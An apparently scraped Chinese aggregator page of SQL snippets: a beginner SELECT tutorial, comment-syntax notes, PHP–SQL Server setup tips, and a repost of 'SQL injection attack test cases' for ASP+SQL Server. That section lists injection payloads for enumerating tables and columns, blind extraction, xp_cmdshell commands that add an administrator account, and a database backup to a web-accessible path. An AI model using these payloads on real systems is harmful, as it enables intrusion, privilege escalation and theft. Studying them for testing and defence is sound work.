-
sql server select 字段前加符号_SQL- SQL检索阶段一
2020-12-05 18:10:45一 说明如果是初学者,建议去网上寻找安装Mysql的文章安装,以及使用navicat连接数据库,...本示例中文章篇幅原因SQL注释略;建表语句:CREATE TABLE `student` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name...一 说明
如果是初学者,建议去网上寻找安装Mysql的文章安装,以及使用navicat连接数据库,以后的示例基本是使用mysql数据库管理系统;
二 准备前提
需要建立一张学生表,列分别是id,名称,年龄,学生信息;本示例中文章篇幅原因SQL注释略;
建表语句:
CREATE TABLE `student` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `age` int(11) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
表中的数据:
INSERT INTO `springboot`.`student`(`id`, `name`, `age`, `info`) VALUES (1, 'youku1', 18, '大一新生'); INSERT INTO `springboot`.`student`(`id`, `name`, `age`, `info`) VALUES (2, 'youku2', 23, '毕业生'); INSERT INTO `springboot`.`student`(`id`, `name`, `age`, `info`) VALUES (3, 'jeff', 25, '社会人士'); INSERT INTO `springboot`.`student`(`id`, `name`, `age`, `info`) VALUES (4, 'smile', 17, '高三学子');
三 基本检索
3.1 select 关键字
sql 都是由许多关键字(keyword)组成的语句,关键字是数据库的保留字,用户不能将其当作建表的表名,字段等;表中的数据检索使用select关键字作为开头进行查询数据库表的信息;
3.2 检索单个字段
语句示例:
SELECT name FROM student
查询结果:
youku1 youku2 jeff smile
语句分析:
select 是 查询 的意思 , name 代表表中的字段 ,from 表示来自哪张表,其后面的student就是表;连起来的意思就是查询字段是name的数据来自表student;
3.3 sql语句注意点
多sql语句一起执行使用封号(;)隔开,在拼写语句时表的关键字都建议使用大写,表的字段和表名使用小写;为了容易阅读建议将sql分成多行(由于文章篇幅原因就不分了);sql语言也是使用英文字母,不要开中文,以免造成符号错误不容易发现;sql语句默认不区分大小写;
3.4 检索多个字段
语句示例:
SELECT name,age FROM student;
语句结果:
youku1 18 youku2 23 jeff 25 smile 17
语句分析:
查询字段 名字,年龄来自表student;多个列检索时使用逗号(,)隔开;
3.5 检索所有字段
语句示例:
SELECT * FROM student;
语句结果:
1 youku1 18 大一新生 2 youku2 23 毕业生 3 jeff 25 社会人士 4 smile 17 高三学子
语句分析:
通配符 (*)表示返回表中的所有列,如果不是必须建议不要使用通配符,会影响数据库性能;
3.6 distinct
distinct 表示区分,意指检索出来的行是唯一(去重),其放在列的最前面;如果使用了关键字distinct,其作用于后面的所有列(由于本示例数据没有重复示例,结果就不是很清晰);
SELECT DISTINCT name, age FROM student;
语句结果:
youku1 18 youku2 23 jeff 25 smile 17
3.7 限制条数
access 和 sql server :
SELECT TOP 2 name FROM student
TOP 2 表示限制返回前2行
postgresql 、SQLite和 mysql:
SELECT name FROM student LIMIT 2;
limit 2 表示限制返回前2行;
DB2:
SELECT name FROM student FETCH FIRST 2 ROWS ONLY
FETCH FIRST 2 ROWS ONLY 表示只抓取前2行数据
语句结果:
youku1 youku2
3.8偏移
示例:
SELECT name FROM student LIMIT 1 OFFSET 1;
语句分析
表示查询列名称来自学生表 限制条数1,偏移值1;意思就是查询学生表中的第二行数据;offset表示跳跃或者偏移;
mysql和MariaDB简化形式:
SELECT name FROM student LIMIT 1,2;
表示查询字段名称来自学生表,限制2条,偏移1条;注意顺序;
语句结果:
youku2 jeff
四 排序检索
4.1 ORDER BY 子句
示例:
SELECT name,age FROM student ORDER BY age
语句分析;
检索字段名称,年龄来自学生表按照列年龄排序;注意默认是升序,ORDER BY 子句通常在语句末尾;
语句结果:
smile 17 youku1 18 youku2 23 jeff 25
4.2 多列排序
示例:
SELECT name,age FROM student ORDER BY age DESC, name ASC;
语句分析:
查询名称,年龄来自学生表,按照年龄降序,名称升序进行排序;关键字 DESC(descending) 意指降序,字母默认Z-A; ASC(ascending)意指升序,字母默认A-Z;多列情况下,每个列后面指定使用DESC,使用逗号(,)隔开,如果不写,默认升序;
语句结果:
jeff 25 youku2 23 youku1 18 smile 17
4.3 按位排序
语句示例:
SELECT name,age FROM student ORDER BY 2 DESC, 1 ASC;
按位指查询字段的位置,2 对应字段age,1对应字段name;结果和4.2一致;
五 过滤检索
sql 语句中过滤条件(filter condition)的关键字是 WHERE,其使用方式是跟在表名之后;
5.1 WHERE语句操作符
根据不同的数据库管理系统,其支持的操作符略有不同,所以下文较多重复意思的操作符,应查阅官方文档说明,哪些操作符是支持使用的数据库管理系统;
5.2 单条件过滤
示例:
SELECT * FROM student WHERE name = 'jeff';
语句分析;
查询所有字段来自学生表 条件是 学生名称是 jeff;注意 非表字段,表名,关键字,使用2个单引号('')括起来,里面存放的是我们输入的数据;
语句结果;
3 jeff 25 社会人士
5.3 多条件过滤
多条件过滤时使用 AND 或者 OR 子句;AND连接表达式表示过滤条件都为真的数据;OR连接表达式表示匹配过滤条件任意一个;
AND示例:
SELECT * FROM student WHERE age >= '18' AND age <= '23';
语句分析:
查询所有字段来自学生表,条件是 学生年龄大于等于18 并且 学生年龄小于 23;
语句结果:
1 youku1 18 大一新生 2 youku2 23 毕业生
OR示例:
SELECT * FROM student WHERE age >= '18' OR age <= '23';
语句分析:
检索所有字段来自学生表,条件是 学生年龄大于等于18,或者学生年龄小于23;
OR 和 AND 示例:
SELECT * FROM student WHERE age >= '18' AND (age <= '23' OR id >=2);
语句分析:
在使用OR 和 AND 的时候应该明确过滤条件,然后使用小括号括起来,由于数据库管理系统是根据顺序执行,如果不使用小括号很容易造成语义错误;查询所有字段来自学生表 过滤条件 年龄大于 18 并且 (年龄小于23 或者 id 大于2)的数据;
5.4 范围查询
示例:
SELECT * FROM student WHERE age BETWEEN '18' And '23';
语句分析
BETWEEN 表示范围查询,查询所有字段来自学生表,过滤条件学生年龄在18至23之间;
语句结果:
1 youku1 18 大一新生 2 youku2 23 毕业生
5.5 空值查询
示例:
SELECT * FROM student WHERE age IS NULL;
语句分析:
查询所有字段来自学生表,过滤条件 学生年龄 为空;数据库表不填充数据默认为空(NULL),当然你也可以给指定类型的列设置默认值;
5.6 IN 操作
示例:
SELECT * FROM student WHERE age IN (18,23,25);
语句分析:
查询所有字段来自学生表 ,过滤条件 年龄 是 18 或者 23 或者 25 ;IN是个范围查询,匹配小括号中指定的任意值,其功能跟OR类似,一个IN 就相当于好多个OR;
语句结果:
1 youku1 18 大一新生 2 youku2 23 毕业生 3 jeff 25 社会人士
5.7 NOT 操作符
示例:
SELECT * FROM student WHERE NOT age='25';
语句分析:
NOT 操作符表是否定;其跟在WHERE后面功能类似<>;
六 通配符检索
6.1 通配符的介绍
通配符是组成匹配模式的特殊字符串;如果有用过正则表达式的同学肯定不陌生,这个与其类似;检索文本的通配符是用在关键词Like 后面;
6.2 通配符 %
示例:
SELECT * FROM student WHERE name LIKE 'you%' ;
语句分析:
查询所有字段来自学生表,过滤条件 名字匹配以you开头的字符串后面匹配任意个任意字符;%通配符代表任意个任意字符串,0也算在内,但不包括null;
语句结果:
1 youku1 18 大一新生 2 youku2 23 毕业生
示例:
SELECT * FROM student WHERE name LIKE '%i%' ;
语句分析:
查询所有列来自学生表,过滤条件学生的名称匹配中间必须出现一次字母i,字母i的前后可以匹配任意个任意字符串;
语句结果;
4 smile 17 高三学子
6.3 通配符 _
通配符 _ 代表匹配一个字符串;在Access数据库中不是 _ 而是 ?;
示例:
SELECT * FROM student WHERE name LIKE 'youku_' ;
语句分析:
查询所有列来自学生表,过滤条件 学生名称 匹配模式 youku 后面一个为任意字符串;
语句结果;
1 youku1 18 大一新生 2 youku2 23 毕业生
6.4 通配符 []
通配符 [] 表示匹配指定一个位置一个字符;其里面可以存放多个字符,关系是or,模式匹配时只占用一个位置,Access,SQL SERVER 支持;
七 字段基本操作
7.1 字段拼接
示例:
SELECT concat('你好啊',name,'327今天心情怎么样') FROM student WHERE id = '1' ;
语句分析:
函数 concat 就是将多个字符子串拼接成一个字符串;不同的数据库管理系统其使用的方式略有差别,应查阅官方文档; 在 mysql 中使用 concat函数;在postgresql中使用 || ; 在 Access和 sql server中使用 +;
语句结果:
你好啊youku1327今天心情怎么样
7.2 去除空白字符串
语句示例:
SELECT RTRIM(' 哥,今天管饱 ') FROM student WHERE id = '1' ;
语句分析:
RTRIM(STR) 函数是去掉右边的字符串;TRIM(STR)是去掉字符串两边的空白字符;LTRIM(STR)是去掉字符串左边的空白字符;
语句结果;
哥,今天管饱
7.3 别名
语句示例:
SELECT name as student_name FROM student WHERE id = '1' ;
语句分析:
别名(alias)是可以给字段,或者表起别名;当多表操作出现重复字段时使用别名是个很好的选择;别名可以使用AS关键字,虽然其是可省略,但平时我们最好加上它增强阅读性;
7.4 计算
语句示例:
SELECT 2 * 8;
语句结果:
16
-
SQL Server使用技巧(1)--增加注释
2020-12-13 17:31:43在学习数据库系统的时候使用到了SQL server,其插入注释的方式如下: --这是注释:对S表进行更新 UPDATE S SET Sdept = 'CS' WHERE Sno = 95004; 用‘–’符号,如果用’//‘则会出现波浪线 ...在用高级语言写代码的时,代码里写注释是一种应该有的习惯。在学习数据库系统的时候使用到了sql server,其插入注释的方式如下:
--这是注释:对S表进行更新 UPDATE S SET Sdept = 'CS' WHERE Sno = 95004;
用‘–’符号,如果用’//‘则会出现波浪线
-
在sql server中用于单行注释的是_Day06-Python中注释的用法(单行注释和多行注释)
2021-01-10 06:22:41在程序中对某些代码进行标注说明,增强程序的可读性,易于被他人理解。代码注释重要吗?当阅读你自己在很久以前编写的代码时,是不是想不起来了?要花费很久的时间和代价读懂...一、 python单行注释符号(#)Python 中...在程序中对某些代码进行标注说明,增强程序的可读性,易于被他人理解。
代码注释重要吗?
- 当阅读你自己在很久以前编写的代码时,是不是想不起来了?要花费很久的时间和代价读懂和分析自己所写的?
- 当别人阅读你的代码时,会花费大量的时间逐行遍历代码,以试图弄清楚它是如何工作的。
哎,边写代码边写注释是防止上述情况发生的一个很好的方法,请善待所有的码农,包括我们自己。
一、 python单行注释符号(#)
Python 中使用井号(‘#')作为单行注释的符号,语法格式为:
# 注释内容
也就是说,从符号‘#'开始,直到换行处结束,当程序执行时,这部分内容会被忽略。
单行注释可以放在注释代码的前一行,例如:
# 这是一个单行注释num_one=1241243253253454354354
也可以是注释代码的右侧,如下:
num_one,num_two,num_three=1,2,3 #最后num_one是1,num_two是2,cnum_three是3.
二、 python多行注释('''和""")
多行注释指的是可以一次性注释程序中多行的内容(包含一行)。多行注释的语法有 2 种,可以用三个单引号 ''' 或者三个双引号 """ 将注释括起来:
1、单引号(''')
'''使用 3 个单引号分别作为注释的开头和结尾可以一次性注释多行内容这是多行注释,用三个单引号这是多行注释,用三个单引号这是多行注释,用三个单引号'''
2、双引号(""")
"""使用 3 个双引号分别作为注释的开头和结尾可以一次性注释多行内容这是多行注释,用三个双引号这是多行注释,用三个双引号 这是多行注释,用三个双引号"""
这个多行注释,是不是有些熟悉呢?原来和我们的字符串有些重复了,使用的时候注意区分下就好。回忆下代码:
print(""" 横看成岭侧成峰, 远近高低各不同。 不识庐山真面目, 只缘身在此山中。 """)
-
ASP+SQL Server SQL 注入攻击测试用例
2017-07-03 14:32:00SQL注入攻击测试用例 说明 Night-- Night’ and 1=1-- ...SQL Server中的行注释符号为”--” URL;and user>0-- User 是SQL Server的一个内置变量,它的值是当前连接的用户名,数据类型为nvarchar...说明
Night--
Night’ and 1=1--
Night’ and 1=2--判断是否存在注入漏洞。SQL Server中的行注释符号为”--”
URL;and user>0--
User 是SQL Server的一个内置变量,它的值是当前连接的用户名,数据类型为nvarchar。它的值是当前连接的用户名,数据类型为nvarchar。用nvarchar类型与int类型比较会引起错误,而SQL Server在返回的错误信息中往往会暴露出user的值;将nvarchar值“XXX”转换数据类型为int的列时发生语法错误。
URL;and db_name()>0--
获取数据库名称
URL;and (select count(*) from sysobjects)>0—
msysobjects是Access 数据库的系统表,sysobjects是SQL Server的系统表。通过这两次攻击尝试,可以从服务器的反馈中辨别出服务器使用的数据库类型.
URL;and (select count(*) from msysobjects)>0--
Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的数目--
测试数据库中有多少用户自己建立的表,sysobjects中存放着数据库内所有表的表名,列名等信息。xtype=’U’ and status>0 表示只检索用户建立的表名
Night’ and (select top 1 name from sysobjects where Xtype=’U’ and status>0 )>0--
获得第一个表的名字
Night’ and (select top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一个表名’)>0--
通过类似的方式可以获得其他表名
Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0--
通过sysobjects获得列名
Night’ and (select top 1 len(列名) from 表名)>0--
获得列名长度
Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0--
逐字读出列名的每一个字符,通常用户没有报错返回的盲注
URL;exec master..xp_cmdshell “net user 用户名和密码” /add
利用存储过程xp_cmdshell在服务器主机上添加用户
URL;exec master..xp_cmdshell “net localgroup administrators 用户名 /add”--
将添加的用户加入管理员组
URL;backup database 数据库名 to disk=’路径’;--
利用存储过程将数据库备份到可以通过HTTP访问到得目录下,或者也可通过网络进行远程备份
最新内容请见作者的GitHub页:http://qaseven.github.io/ -
MS SqlServer sql语言语法的注意事项
2011-04-04 15:24:001.sql中字符串的表示 在sql server的查询分析器中,当你想插入的这一列是字符串时,不要使用"",会导致失败的。换做' '就行了。 2.sql 注释符、运算符与通配符 ...与C语言相同的程序注释符号,即“/**/”。“/*”用 -
PHP连接SQLServer2005. PHP连接SQLServer2005. .
2013-04-12 17:04:00连接前配置系统: 1.检查文件 php5.2.5/ntwdblib.dll 默认下面有一个,不能连接再替换. 下载正确版本的 ntwdblib.dll (2000.80.194.0),地址: ... ... a、打开php.in将extension=php_mssql.dll的注释符号去掉。 b... -
PHP连接sql server 2005环境配置及问题解决
2021-01-20 01:13:52一、Windows下PHP连接SQLServer 2005 设定:安装的Windows操作系统(Win7 或XP均可,其他系统暂未测试),在C盘下;PHP的相关文件位于c:/PHP下面,其配置文件php.ini位于C:\Windows下面。 连接前配置系统: 1、检查... -
Oracle、MySQL、SQLServer的基本要知道的区别【未完善】
2019-08-09 15:22:01①主键自动增加,用在SQLServer——标识列,MySQL没有,Oracle用序列; ...#符号,可以用于SQLServer与Oracle,不可用于MySQL(因为在MySQL里,#是注释符号,与“-- ”【减号减号空格】一样是起注... -
PHP连接SQLServer
2014-06-05 16:52:00连接前配置系统: 1.检查文件 php5.2.5/ntwdblib.dll 默认下面有一个,不能连接再替换. 下载正确版本的 ntwdblib.dll (2000.80.194.0)... ... a、打开php.in将extension=php_mssql.dll的注释符号去掉。 b、打开ph... -
php连接sql server 2005
2009-02-11 15:20:00php连接sql server 2005 1 安装mssql 2 配置php 打开php.in将extension=php_mssql.dll的注释符号去掉。 打开php.in将mssql.secure_connection = Off改为on。 将php_mssql.dll拷贝到php.in中extension_dir 指定... -
PHP联合sqlserver2008使用的全过程 ( 原创 亲测)
2019-09-30 10:19:59sqlserver2008 win7 二、配置PHP 1、打开php.in将extension=php_mssql.dll的注释符号去掉。 2、打开php.in将mssql.secure_connection = Off改为on。 3、从5.2开始,php就不再提供mssql.dll了,所以要php连接sql... -
T-SQL-注释、变量 (转载)
2007-12-17 11:20:002 .SQL server中有两种类型的注释字符:一种是ANSI标准的注释符‘ -- ’,另一种是与C语言相同的程序注释符号,即“/* */” 例如:( 1 ). -- 检索部门的员工。(2)./*检索部门的员工*/。 三、变量变量是一种语言中... -
基于Sql Server 2008的分布式数据库的实践(三)
2013-12-08 23:18:00基于Sql Server 2008的分布式数据库的实践(三) ...1.打开PHP配置文件,找到extension=php_mssql.dll,将前面的注释符号去掉 2.找到mssql.secure_connection,将Off改为On 3.找到com... -
关于php连接sqlserver的问题
2011-10-25 14:27:00用php连接sqlserver2000应该注意的几点 1.配置php a、打开php.in将 extension=php_mssql.dll的注释符号去掉。 b、打开php.in,如果你的程序和数据库在同一台服务器上请将mssql.secure_connection = Off改为on,如果... -
php连接SQL Server 2005
2012-04-26 09:56:00连接前配置系统: 1.检查文件 php5.2.5/ntwdblib.dll 默认下面有一个,不能连接再替换. 下载正确版本的 ntwdblib.dll (2000.80.194.0),地址... ...a、打开php.in将extension=php_mssql.dll的注释符号去掉。 b、 -
php sqlserver 数据库连接
2011-02-22 13:03:05连接前配置系统: 1.检查文件 php5.2.5\ntwdblib.dll 默认下面有一个,不能连接再替换. 下载正确版本的 ntwdblib.dll (2000.80.194.0)... ... a、打开php.in将extension=php_mssql.dll的注释符号去掉。 b、打... -
PHP连接SQLServer2005
2010-09-10 11:18:06连接前配置系统: 1.检查文件 php5.2.5\ntwdblib.dll 默认下面有一个,不能连接再替换. 下载正确版本的 ntwdblib.dll (2000.80.194.0)... ... a、打开php.in将extension=php_mssql.dll的注释符号去掉。 b、打开php.... -
PHP连接SQLServer2005的实现方法(附ntwdblib.dll下载)
2021-01-20 00:42:18php连接sql2005的问题,现在整合,同时把FAQ整合上. ...a、打开php.in将extension=php_mssql.dll的注释符号去掉。 b、打开php.in将mssql.secure_connection = Off改为on。 c、将php_mssql.dll拷贝到ph -
【2017-3-11】SQL Server *** T—sql语句
2017-03-11 16:27:00create database 数据库名称 --不能数字开头,不能中文,不能符号开头 删除数据库: drop database 数据库名称 注释:/* 一段 */ --一行 2.创建表 --对表的所有操作都要选中对应的数据库 create table 表... -
MS SQL基础教程:注释符、运算符与通配符
2010-04-08 14:38:00与C语言相同的程序注释符号,即“/**/”。“/*”用于注释文字的开头,“*/”用于注释文字的结尾,可在程序中标识多行文字为注释。本文来自-编程入门网:http://www.bianceng.cn/database/SQLServer/200712/6313. -
2017-3-10 SQLserver增,删,改,查语句,主外键约束
2017-03-18 11:04:14(一) 1.创建数据库 create database 数据库名称 ----不能数字开头,不能中文...注释:/* */ 一段注释 --一行注释 2.创建表 create table 表名称 ( 列名 数据类型, …… , 列名 数据类型, ) 3 设
-
VScode初学者代码运行
-
libFuzzer视频教程
-
access应用的3个开发实例
-
【正点原子】I.MX6U 出厂系统Qt交叉编译环境搭建V1.4.pdf
-
Python中10个常用的内置函数
-
视频转换器WonderFox便携注册版 UI界面好看.rar
-
Day51(泛型)
-
【考研初试】安徽建筑大学703艺术设计理论考研真题库资料
-
Windows系统管理
-
只需要几秒 超强win10关闭自动更新工具.rar
-
【爱码农】C#制作MDI文本编辑器
-
linux基础入门和项目实战部署系列课程
-
设计模式之策略模式
-
promise函数封装(完整版)
-
数据源网站.xlsx
-
用Go语言来写区块链(一)
-
Localyum配置
-
MySQL Router 实现高可用、负载均衡、读写分离
-
编程基础概念4
-
光伏并网matlab仿真模型.zip